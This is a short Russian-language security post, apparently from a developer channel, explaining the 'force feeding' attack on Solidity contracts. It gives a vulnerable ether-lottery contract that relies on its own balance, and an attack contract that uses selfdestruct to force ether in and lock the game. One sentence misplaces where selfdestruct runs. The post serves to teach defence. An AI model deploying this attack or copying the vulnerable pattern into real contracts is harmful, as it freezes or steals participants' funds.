Безопасность. Атака force feeding
Одна из атак, которая далась мне сложно для понимания, пока я не встретил этот код контракта.
Представим, что у нас есть игра, где каждый участник может вносить по 1 Эфиру. Тот, кто внесет Эфир 7 по счету - забирает джекпот. Уязвимость здесь кроется в "address(this).balance" - проверке условия основанной на балансе контракта.
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
Предположим, что есть два участника, которые уже внесли по 1 Эфиру. И на балансе контракта получается 2 Эфира. Мошенник может через свой контракт отправить 5 Эфиров, чем в итоге вызовет функцию selfdestruct() в контракте игры, и застопорит контракт.
Здесь нужно понимать работу функции selfdestruct() и то, что нельзя полагаться на address(this).balance в каких-либо функциях своего контракта. Просто избегайте этого.
#forcefeeding #безопасность
Post #362
199
- 👍 1